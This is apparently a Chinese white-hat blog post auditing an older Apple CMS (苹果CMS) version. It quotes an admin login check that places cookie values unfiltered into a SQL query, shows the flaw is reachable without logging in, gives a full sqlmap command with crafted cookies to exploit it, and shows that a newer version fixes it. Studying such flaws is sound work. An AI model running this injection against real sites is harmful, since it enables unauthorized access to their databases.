苹果cms模板
本次要分享的是我前段时间挖的一个CMS注入,但是不巧的是这个漏洞之前已经被提交过了,所以这次就当跟大家分享经验了。
苹果CMS算是一个使用范围比较广的一款视频平台类CMS了
漏洞出现在身份验证上
文件位置:admin/admin_conn.php
function chkLogin() { global $db; $m_id = getCookie(adminid); $m_name = getCookie(adminname); $m_check = getCookie(admincheck); if (!isN($m_name) && !isN($m_id)){ $row = $db->getRow(SELECT * FROM {pre}manager WHERE m_name=\ . $m_name .\ AND m_id= \.$m_id .\ AND m_status=1); if($row){ $loginValidate = md5($row[m_random] . $row[m_name] . $row[m_id]); if ($m_check != $loginValidate){ sCookie (admincheck,); redirect(?m=admin-login,top.); } } else{ sCookie (admincheck,); redirect(?m=admin-login,top.); } } else{ redirect(?m=admin-login,top.); } }
这里可以看到chkLogin函数在获取到了cookie信息后直接带入了查询语句,期间并未做过任何的过滤。然后继续查看文件。经分析也可以发现这里虽然是检测登陆但是程序并未进行登陆的设置,所以即便验证成功他也是无法登陆的。
追踪函数的利用位置。
最终在admin/admin_data.php当中找到了函数的使用
require(dirname(__FILE__) ./admin_conn.php); chkLogin(); $name = be(“all”,”name”); $ac = be(“all”,”ac”); $flag = be(“all”,”flag”); $show = intval(be(“all”,”show”)); $id = be(“all”,”id”); $tab=be(all,tab); $colid=be(all,colid); $col=be(all,col); $val=trim(be(all,val)); $ajax=be(all,ajax); if($ac==checkcache){ $res=no; if(file_exists(MAC_ROOT./cache/cache_data.lock)){ $res=haved; } echo $res; }在文件顶部调用了这个函数,通过对函数的分析我们可以得知这里漏洞在未登陆的情况下即可利用。
使用sqlmap对其进行检测
python sqlmap.py -u “:81/test/shenji/mac/admin/admin_data.php” –cookie “adminid=1; adminname=admin; adminlevels=b%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj; PHPSESSID=rk17pjd66n0eml3vu6v9p2snp0;UM_distinctid=15fb0afa1533d9-d7f59d24-4e47052e-1fa400-15fb0afa15416f;” –dbms “mysql” –level 2
然后这里我又对新版的CMS做了一个审计
function chkLogin(){ $index = index.php; if( strpos($_SERVER[PHP_SELF],editor)>-1 ){ $index = “../”.$index; } if(!$_SESSION[adminauth]){ redirect($index.?m=admin-login,top.); }
} 可以看到程序对验证方式做了修改采用了SESSION验证,也就修复了原来的漏洞。
更多安全资讯请关注:白帽子社区
海洋cms模板